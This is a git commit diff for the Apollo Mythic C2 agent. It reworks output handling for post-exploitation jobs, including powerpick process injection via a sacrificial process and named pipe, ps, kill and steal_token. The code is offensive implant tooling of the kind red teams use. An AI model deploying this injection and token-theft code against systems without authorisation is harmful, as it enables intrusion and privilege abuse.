From 820fa898cc1f923be4a4a1e4713a5a27632fef08 Mon Sep 17 00:00:00 2001 From: its-a-feature Date: Tue, 12 Nov 2024 16:06:42 -0600 Subject: [PATCH] better handling for stdout in various post-ex jobs --- Payload_Type/apollo/CHANGELOG.MD | 9 + Payload_Type/apollo/Dockerfile | 2 +- .../ApolloInterop/Structs/MythicStructs.cs | 2 + .../agent_code/PowerShellHost/Program.cs | 35 ++- .../agent_code/Process/SacrificialProcess.cs | 17 +- .../apollo/agent_code/Tasks/powerpick.cs | 243 ++++++++++-------- .../apollo/agent_code/Tasks/powershell.cs | 13 +- .../apollo/apollo/agent_code/Tasks/ps.cs | 61 ++--- .../apollo/apollo/agent_code/Tasks/run.cs | 2 +- .../apollo/mythic/agent_functions/builder.py | 2 +- .../apollo/mythic/agent_functions/kill.py | 12 +- .../mythic/agent_functions/steal_token.py | 18 +- agent_capabilities.json | 2 +- 13 files changed, 235 insertions(+), 183 deletions(-) diff --git a/Payload_Type/apollo/CHANGELOG.MD b/Payload_Type/apollo/CHANGELOG.MD index d9c0f7fc..e4508b14 100644 --- a/Payload_Type/apollo/CHANGELOG.MD +++ b/Payload_Type/apollo/CHANGELOG.MD @@ -4,6 +4,15 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [v2.2.20] - 2024-11-12 + +### Changed + +- Updated powerpick and PowerShellHost to handle output the same way as execute_assembly and execute_pe +- Updated sacrificial process code to only star tasks for reading stdout/stderr for non-fork and run jobs +- Updated `ps` to include `update_deleted` and send all output at once so Mythic can update the process browser properly +- Updated `kill` to also support `process_browser:kill` + ## [v2.2.19] - 2024-11-08 ### Changed diff --git a/Payload_Type/apollo/Dockerfile b/Payload_Type/apollo/Dockerfile index 505b4fe2..a59dfc98 100644 --- a/Payload_Type/apollo/Dockerfile +++ b/Payload_Type/apollo/Dockerfile @@ -12,7 +12,7 @@ RUN curl -L -o donut_shellcode-2.0.0.tar.gz https://github.com/MEhrn00/donut/rel WORKDIR /Mythic/ RUN python3 -m venv /venv -RUN /venv/bin/python -m pip install mythic-container==0.5.9 +RUN /venv/bin/python -m pip install mythic-container==0.5.14 RUN /venv/bin/python -m pip install git+https://github.com/MEhrn00/donut.git@v2.0.0 RUN /venv/bin/python -m pip install mslex diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Structs/MythicStructs.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Structs/MythicStructs.cs index 5c197cd9..d0431e3a 100644 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Structs/MythicStructs.cs +++ b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Structs/MythicStructs.cs @@ -51,6 +51,8 @@ public MessageType GetTypeCode() public string CompanyName; [DataMember(Name = "window_title")] public string WindowTitle; + [DataMember(Name = "update_deleted")] + public bool UpdateDeleted; } // [DataContract] diff --git a/Payload_Type/apollo/apollo/agent_code/PowerShellHost/Program.cs b/Payload_Type/apollo/apollo/agent_code/PowerShellHost/Program.cs index e60d485b..e8d80364 100644 --- a/Payload_Type/apollo/apollo/agent_code/PowerShellHost/Program.cs +++ b/Payload_Type/apollo/apollo/agent_code/PowerShellHost/Program.cs @@ -54,12 +54,16 @@ static void Main(string[] args) _senderEvent, _cts.Token.WaitHandle }); - if (_senderQueue.TryDequeue(out byte[] result)) + while (_senderQueue.TryDequeue(out byte[] message)) { - pipe.BeginWrite(result, 0, result.Length, OnAsyncMessageSent, pipe); + pipe.BeginWrite(message, 0, message.Length, OnAsyncMessageSent, pipe); } } - pipe.Flush(); + while (_senderQueue.TryDequeue(out byte[] message)) + { + pipe.BeginWrite(message, 0, message.Length, OnAsyncMessageSent, pipe); + } + pipe.WaitForPipeDrain(); pipe.Close(); }; _server = new AsyncNamedPipeServer(_namedPipeName, null, 1, IPC.SEND_SIZE, IPC.RECV_SIZE); @@ -79,7 +83,7 @@ static void Main(string[] args) EventableStringWriter stderrSw = new EventableStringWriter(); stdoutSw.BufferWritten += OnBufferWrite; - + stderrSw.BufferWritten += OnBufferWrite; Console.SetOut(stdoutSw); Console.SetError(stderrSw); @@ -113,6 +117,11 @@ static void Main(string[] args) Console.SetOut(oldStderr); } _cts.Cancel(); + // Wait for the pipe client comms to finish + while (_clientConnectedTask is ST.Task task && !_clientConnectedTask.IsCompleted) + { + task.Wait(1000); + } } @@ -122,8 +131,16 @@ private static void OnBufferWrite(object sender, ApolloInterop.Classes.Events.St { if (e.Data != null) { - _senderQueue.Enqueue(Encoding.UTF8.GetBytes(e.Data)); - _senderEvent.Set(); + try + { + _senderQueue.Enqueue(Encoding.UTF8.GetBytes(e.Data)); + _senderEvent.Set(); + } + catch + { + + } + } } @@ -131,11 +148,7 @@ private static void OnAsyncMessageSent(IAsyncResult result) { PipeStream pipe = (PipeStream)result.AsyncState; pipe.EndWrite(result); - // Potentially delete this since theoretically the sender Task does everything - if (_senderQueue.TryDequeue(out byte[] data)) - { - pipe.BeginWrite(data, 0, data.Length, OnAsyncMessageSent, pipe); - } + pipe.Flush(); } private static void OnAsyncMessageReceived(object sender, NamedPipeMessageArgs args) diff --git a/Payload_Type/apollo/apollo/agent_code/Process/SacrificialProcess.cs b/Payload_Type/apollo/apollo/agent_code/Process/SacrificialProcess.cs index b4079885..f84588d1 100644 --- a/Payload_Type/apollo/apollo/agent_code/Process/SacrificialProcess.cs +++ b/Payload_Type/apollo/apollo/agent_code/Process/SacrificialProcess.cs @@ -569,6 +569,8 @@ private void PostStartupInitialize() { Handle = _processInfo.hProcess; PID = (uint)_processInfo.dwProcessId; + if (_startSuspended) { return; } + // only start processing stdout/stderr/stdin for non sacrificial jobs _standardOutput = new StreamReader(new FileStream(hReadOut, FileAccess.Read), Console.OutputEncoding); _standardError = new StreamReader(new FileStream(hReadErr, FileAccess.Read), Console.OutputEncoding); _standardInput = new StreamWriter(new FileStream(hWriteIn, FileAccess.Write), Console.InputEncoding); @@ -580,14 +582,19 @@ private async void WaitForExitAsync() { await Task.Factory.StartNew(() => { - var stdOutTask = GetStdOutAsync(); - var stdErrTask = GetStdErrAsync(); + if (!_startSuspended) + { + var stdOutTask = GetStdOutAsync(); + var stdErrTask = GetStdErrAsync(); + stdOutTask.Start(); + stdErrTask.Start(); + } + var waitExitForever = new Task(() => { _pWaitForSingleObject(Handle, 0xFFFFFFFF); }); - stdOutTask.Start(); - stdErrTask.Start(); + waitExitForever.Start(); try @@ -625,7 +632,7 @@ await Task.Factory.StartNew(() => private IEnumerable ReadStream(TextReader stream) { string output = ""; - int szBuffer = 20; + int szBuffer = 4096; int bytesRead = 0; char[] tmp; bool needsBreak = false; diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/powerpick.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/powerpick.cs index 0a624289..bb4d6cc4 100644 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/powerpick.cs +++ b/Payload_Type/apollo/apollo/agent_code/Tasks/powerpick.cs @@ -20,6 +20,7 @@ using ApolloInterop.Structs.ApolloStructs; using ApolloInterop.Classes.Core; using ApolloInterop.Classes.Collections; +using ApolloInterop.Utils; namespace Tasks { @@ -45,6 +46,7 @@ internal struct PowerPickParameters private Action _flushMessages; private ThreadSafeList _assemblyOutput = new ThreadSafeList(); private bool _completed = false; + private System.Threading.Tasks.Task flushTask; public powerpick(IAgent agent, MythicTask mythicTask) : base(agent, mythicTask) { _sendAction = (object p) => @@ -59,7 +61,23 @@ public powerpick(IAgent agent, MythicTask mythicTask) : base(agent, mythicTask) }); if (!_cancellationToken.IsCancellationRequested && ps.IsConnected && _senderQueue.TryDequeue(out byte[] result)) { - ps.BeginWrite(result, 0, result.Length, OnAsyncMessageSent, p); + try + { + ps.BeginWrite(result, 0, result.Length, OnAsyncMessageSent, p); + } + catch + { + ps.Close(); + _complete.Set(); + return; + } + + } + else if (!ps.IsConnected) + { + ps.Close(); + _complete.Set(); + return; } } ps.Close(); @@ -86,18 +104,36 @@ public powerpick(IAgent agent, MythicTask mythicTask) : base(agent, mythicTask) "")); } } - output = string.Join("", _assemblyOutput.Flush()); - if (!string.IsNullOrEmpty(output)) + while (true) { - _agent.GetTaskManager().AddTaskResponseToQueue( - CreateTaskResponse( - output, - false, - "")); + System.Threading.Tasks.Task.Delay(500).Wait(); // wait 1s + output = string.Join("", _assemblyOutput.Flush()); + if (!string.IsNullOrEmpty(output)) + { + _agent.GetTaskManager().AddTaskResponseToQueue( + CreateTaskResponse( + output, + false, + "")); + } + else + { + DebugHelp.DebugWriteLine($"no longer collecting output"); + return; + } } }; } - + + public override void Kill() + { + _completed = true; + _complete.Set(); + flushTask.Wait(); + _cancellationToken.Cancel(); + + } + public override void Start() { MythicTaskResponse resp; @@ -109,106 +145,82 @@ public override void Start() string.IsNullOrEmpty(parameters.PowerShellParams) || string.IsNullOrEmpty(parameters.PipeName)) { - resp = CreateTaskResponse( - $"One or more required arguments was not provided.", - true, - "error"); + throw new ArgumentNullException($"One or more required arguments was not provided."); } - else + if (!_agent.GetFileManager().GetFile(_cancellationToken.Token, _data.ID, parameters.LoaderStubId, out byte[] psPic)) { - if (_agent.GetFileManager() - .GetFile(_cancellationToken.Token, _data.ID, parameters.LoaderStubId, out byte[] psPic)) - { - ApplicationStartupInfo info = _agent.GetProcessManager().GetStartupInfo(IntPtr.Size == 8); - proc = _agent.GetProcessManager().NewProcess(info.Application, info.Arguments, true); - if (proc.Start()) - { - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse( - "", - false, - "", - new IMythicMessage[] - { - new Artifact - { - BaseArtifact = "ProcessCreate", - ArtifactDetails = string.IsNullOrEmpty(info.Arguments) - ? $"Started {info.Application} (PID: {proc.PID})" - : $"Started {info.Application} {info.Arguments} (PID: {proc.PID})" - } - } - )); - if (proc.Inject(psPic)) - { - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse( - "", - false, - "", - new IMythicMessage[] - { - new Artifact - { - BaseArtifact = "ProcessInject", - ArtifactDetails = - $"Injected into PID {proc.PID} using {_agent.GetInjectionManager().GetCurrentTechnique().Name}" - } - })); - string cmd = ""; - var loadedScript = _agent.GetFileManager().GetScript(); - if (!string.IsNullOrEmpty(loadedScript)) - { - cmd += loadedScript; - } - - cmd += "\n\n" + parameters.PowerShellParams; - IPCCommandArguments cmdargs = new IPCCommandArguments - { - ByteData = new byte[0], - StringData = cmd - }; - AsyncNamedPipeClient client = new AsyncNamedPipeClient("127.0.0.1", parameters.PipeName); - client.ConnectionEstablished += Client_ConnectionEstablished; - client.MessageReceived += Client_MessageReceived; - client.Disconnect += Client_Disconnect; - if (client.Connect(10000)) - { - IPCChunkedData[] chunks = _serializer.SerializeIPCMessage(cmdargs); - foreach (IPCChunkedData chunk in chunks) - { - _senderQueue.Enqueue(Encoding.UTF8.GetBytes(_serializer.Serialize(chunk))); - } + throw new ExecuteAssemblyException($"Failed to download powerpick loader stub (with id: {parameters.LoaderStubId})"); + } - _senderEvent.Set(); - _complete.WaitOne(); - _completed = true; - resp = CreateTaskResponse("", true, "completed"); - } - else - { - resp = CreateTaskResponse($"Failed to connect to named pipe.", true, "error"); - } - } - else - { - resp = CreateTaskResponse( - $"Failed to inject assembly loader into sacrificial process.", - true, - "error"); - } - } - else - { - resp = CreateTaskResponse($"Failed to start sacrificial process {info.Application}", true, "error"); - } - } - else + ApplicationStartupInfo info = _agent.GetProcessManager().GetStartupInfo(IntPtr.Size == 8); + proc = _agent.GetProcessManager().NewProcess(info.Application, info.Arguments, true); + try + { + if (!proc.Start()) { - resp = CreateTaskResponse( - $"Failed to download assembly loader stub (with id: {parameters.LoaderStubId})", - true, - "error"); + throw new InvalidOperationException($"Failed to start sacrificial process {info.Application}"); } } + catch (Exception e) + { + throw new ExecuteAssemblyException($"Failed to start '{info.Application}' sacrificial process: {e.Message}"); + } + + _agent.GetTaskManager().AddTaskResponseToQueue( + CreateTaskResponse("", false, messages: + [ + Artifact.ProcessCreate((int)proc.PID, info.Application, info.Arguments) + ] + ) + ); + if (!proc.Inject(psPic)) + { + throw new ExecuteAssemblyException($"Failed to inject powerpick loader into sacrificial process {info.Application}."); + } + _agent.GetTaskManager().AddTaskResponseToQueue( + CreateTaskResponse("", false, messages: + [ + Artifact.ProcessInject((int)proc.PID, _agent.GetInjectionManager().GetCurrentTechnique().Name) + ] + ) + ); + string cmd = ""; + var loadedScript = _agent.GetFileManager().GetScript(); + if (!string.IsNullOrEmpty(loadedScript)) + { + cmd += loadedScript; + } + + cmd += "\n\n" + parameters.PowerShellParams; + IPCCommandArguments cmdargs = new IPCCommandArguments + { + ByteData = new byte[0], + StringData = cmd + }; + AsyncNamedPipeClient client = new AsyncNamedPipeClient("127.0.0.1", parameters.PipeName); + client.ConnectionEstablished += Client_ConnectionEstablished; + client.MessageReceived += Client_MessageReceived; + client.Disconnect += Client_Disconnect; + if (!client.Connect(10000)) + { + throw new ExecuteAssemblyException($"Injected powershell into sacrificial process: {info.Application}.\n Failed to connect to named pipe: {parameters.PipeName}."); + } + + IPCChunkedData[] chunks = _serializer.SerializeIPCMessage(cmdargs); + foreach (IPCChunkedData chunk in chunks) + { + _senderQueue.Enqueue(Encoding.UTF8.GetBytes(_serializer.Serialize(chunk))); + } + + _senderEvent.Set(); + WaitHandle.WaitAny(new WaitHandle[] + { + _cancellationToken.Token.WaitHandle + }); + + resp = CreateTaskResponse("", true, "completed"); + + } catch (Exception ex) { @@ -221,26 +233,24 @@ public override void Start() proc.Kill(); _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse("", true, "", new IMythicMessage[] { - new Artifact - { - BaseArtifact = "ProcessKill", - ArtifactDetails = $"Killed PID {proc.PID}" - } + Artifact.ProcessKill((int)proc.PID) })); } } private void Client_Disconnect(object sender, NamedPipeMessageArgs e) { + _completed = true; + _complete.Set(); + flushTask.Wait(); e.Pipe.Close(); _cancellationToken.Cancel(); - _complete.Set(); } private void Client_ConnectionEstablished(object sender, NamedPipeMessageArgs e) { System.Threading.Tasks.Task.Factory.StartNew(_sendAction, e.Pipe, _cancellationToken.Token); - System.Threading.Tasks.Task.Factory.StartNew(_flushMessages, _cancellationToken.Token); + flushTask = System.Threading.Tasks.Task.Factory.StartNew(_flushMessages, _cancellationToken.Token); } public void OnAsyncMessageSent(IAsyncResult result) @@ -249,8 +259,16 @@ public void OnAsyncMessageSent(IAsyncResult result) // Potentially delete this since theoretically the sender Task does everything if (pipe.IsConnected && !_cancellationToken.IsCancellationRequested && _senderQueue.TryDequeue(out byte[] data)) { - pipe.EndWrite(result); - pipe.BeginWrite(data, 0, data.Length, OnAsyncMessageSent, pipe); + try + { + pipe.EndWrite(result); + pipe.BeginWrite(data, 0, data.Length, OnAsyncMessageSent, pipe); + } + catch + { + + } + } } @@ -258,6 +276,7 @@ private void Client_MessageReceived(object sender, NamedPipeMessageArgs e) { IPCData d = e.Data; string msg = Encoding.UTF8.GetString(d.Data.Take(d.DataLength).ToArray()); + DebugHelp.DebugWriteLine($"adding data to output"); _assemblyOutput.Add(msg); } } diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/powershell.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/powershell.cs index 506c1f16..24bc4ac1 100644 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/powershell.cs +++ b/Payload_Type/apollo/apollo/agent_code/Tasks/powershell.cs @@ -369,7 +369,7 @@ public override void Start() _agent.AcquireOutputLock(); TextWriter oldStdout = Console.Out; - TextWriter oldStderr = Console.Out; + TextWriter oldStderr = Console.Error; try { EventableStringWriter stdoutSw = new EventableStringWriter(); @@ -410,7 +410,7 @@ public override void Start() } catch (Exception ex) { - resp = CreateTaskResponse($"Unhandled exception: {ex.Message}", true, "error"); + resp = CreateTaskResponse($"Unexpected Error\n{ex.Message}\n\nStack trace: {ex.StackTrace}", true, "error"); } finally { @@ -429,7 +429,14 @@ public override void Start() private void OnBufferWrite(object sender, ApolloInterop.Classes.Events.StringDataEventArgs e) { - _psOutput.Add(e.Data); + if(e.Data != null) + { + try + { + _psOutput.Add(e.Data); + } + catch { } + } } } } diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/ps.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/ps.cs index 256d09a3..d709f4ff 100644 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/ps.cs +++ b/Payload_Type/apollo/apollo/agent_code/Tasks/ps.cs @@ -112,40 +112,6 @@ public ps(IAgent agent, MythicTask mythicTask) : base(agent, mythicTask) _pNtQueryInformationProcess = _agent.GetApi().GetLibraryFunction(Library.NTDLL, "NtQueryInformationProcess"); _pGetTokenInformation = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "GetTokenInformation"); _pConvertSidToStringSid = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "ConvertSidToStringSidA"); - _flushMessages = (object o) => - { - ProcessInformation[] output = null; - while (!_cancellationToken.IsCancellationRequested && !_complete) - { - WaitHandle.WaitAny(new WaitHandle[] - { - _completed, - _cancellationToken.Token.WaitHandle - }, 5000); - output = _processes.Flush(); - if (output.Length > 0) - { - SendProcessInfo(output); - } - } - output = _processes.Flush(); - if (output.Length > 0) - { - SendProcessInfo(output); - } - }; - } - - private void SendProcessInfo(ProcessInformation[] output) - { - IMythicMessage[] procs = new IMythicMessage[output.Length]; - Array.Copy(output, procs, procs.Length); - _agent.GetTaskManager().AddTaskResponseToQueue( - CreateTaskResponse( - _jsonSerializer.Serialize(output), - false, - "", - procs)); } #region helpers @@ -313,7 +279,6 @@ private string GetIntegrityLevel(IntPtr procHandle) public override void Start() { - TT.Task.Factory.StartNew(_flushMessages, _cancellationToken); TT.ParallelOptions po = new TT.ParallelOptions(); po.CancellationToken = _cancellationToken.Token; po.MaxDegreeOfParallelism = System.Environment.ProcessorCount; @@ -323,6 +288,7 @@ public override void Start() { po.CancellationToken.ThrowIfCancellationRequested(); ProcessInformation current = new ProcessInformation(); + current.UpdateDeleted = true; current.PID = proc.Id; current.Name = proc.ProcessName; try @@ -360,7 +326,7 @@ public override void Start() default: current.Architecture = "x86"; break; - } + } } else { @@ -457,11 +423,26 @@ public override void Start() _complete = true; _completed.Set(); - - MythicTaskResponse resp = CreateTaskResponse( - "", + ProcessInformation[] output = null; + output = _processes.Flush(); + if (output.Length > 0) + { + IMythicMessage[] procs = new IMythicMessage[output.Length]; + Array.Copy(output, procs, procs.Length); + _agent.GetTaskManager().AddTaskResponseToQueue( + CreateTaskResponse( + _jsonSerializer.Serialize(output), + true, + "completed", + procs)); + } else + { + MythicTaskResponse resp = CreateTaskResponse( + "No Process Data Collected", true); - _agent.GetTaskManager().AddTaskResponseToQueue(resp); + _agent.GetTaskManager().AddTaskResponseToQueue(resp); + } + } } } diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/run.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/run.cs index 9a960f14..34fc13d6 100644 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/run.cs +++ b/Payload_Type/apollo/apollo/agent_code/Tasks/run.cs @@ -105,7 +105,7 @@ public override void Start() { _complete, _cancellationToken.Token.WaitHandle, - }, 1000); + }, 500); } catch (OperationCanceledException) { diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py index 0a64144e..bd946a14 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py @@ -21,7 +21,7 @@ class Apollo(PayloadType): supported_os = [ SupportedOS.Windows ] - version = "2.2.19" + version = "2.2.20" wrapper = False wrapped_payloads = ["scarecrow_wrapper", "service_wrapper"] note = """ diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/kill.py b/Payload_Type/apollo/apollo/mythic/agent_functions/kill.py index 51eedb2a..524bf061 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/kill.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/kill.py @@ -18,14 +18,20 @@ async def parse_arguments(self): if len(self.command_line) == 0: raise Exception("No PID given.") if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) + supplied_dict = json.loads(self.command_line) + if "pid" in supplied_dict: + self.add_arg("pid", supplied_dict["pid"]) + elif "process_id" in supplied_dict: + self.add_arg("pid", supplied_dict["process_id"]) + else: + self.load_args_from_json_string(self.command_line) else: try: int(self.command_line) except: raise Exception("Failed to parse integer PID from: {}\n\tUsage: {}".format(self.command_line, killCommand.help_cmd)) self.add_arg("pid", int(self.command_line), ParameterType.Number) - + class killCommand(CommandBase): cmd = "kill" @@ -36,7 +42,7 @@ class killCommand(CommandBase): author = "@djhohnstein" argument_class = KillArguments attackmapping = ["T1106"] - supported_ui_features = ["kill"] + supported_ui_features = ["kill", "process_browser:kill"] async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: response = PTTaskCreateTaskingMessageResponse( diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/steal_token.py b/Payload_Type/apollo/apollo/mythic/agent_functions/steal_token.py index 0678205b..f481e215 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/steal_token.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/steal_token.py @@ -12,12 +12,18 @@ async def parse_arguments(self): if len(self.command_line) == 0: raise Exception("steal_token requires a PID to steal a token from.") try: - int(self.command_line) + if self.command_line[0] == '{': + supplied_dict = json.loads(self.command_line) + if "pid" in supplied_dict: + self.add_arg("pid", int(supplied_dict["pid"]), type=ParameterType.Number) + elif "process_id" in supplied_dict: + self.add_arg("pid", int(supplied_dict["process_id"]), type=ParameterType.Number) + else: + self.load_args_from_json_string(self.command_line) + else: + self.add_arg("pid", int(self.command_line), type=ParameterType.Number) except: raise Exception(f"Invalid integer value given for PID: {self.command_line}") - if int(self.command_line) % 4 != 0: - raise Exception(f"Invalid PID given: {self.command_line}. Must be divisible by 4.") - pass class StealTokenCommand(CommandBase): @@ -29,13 +35,15 @@ class StealTokenCommand(CommandBase): author = "@djhohnstein" argument_class = StealTokenArguments attackmapping = ["T1134", "T1528"] - supported_ui_features=["steal_token"] + supported_ui_features=["steal_token", "process_browser:steal_token"] async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: response = PTTaskCreateTaskingMessageResponse( TaskID=taskData.Task.ID, Success=True, ) + taskData.args.set_manual_args(f"{taskData.args.get_arg('pid')}") + response.DisplayParams = f"{taskData.args.get_arg('pid')}" return response async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: diff --git a/agent_capabilities.json b/agent_capabilities.json index 1299ea56..e398a3ba 100644 --- a/agent_capabilities.json +++ b/agent_capabilities.json @@ -11,6 +11,6 @@ "architectures": ["x86_64"], "c2": ["http", "smb", "tcp", "websocket"], "mythic_version": "3.3.0", - "agent_version": "2.2.17", + "agent_version": "2.2.20", "supported_wrappers": ["service_wrapper", "scarecrow_wrapper"] } \ No newline at end of file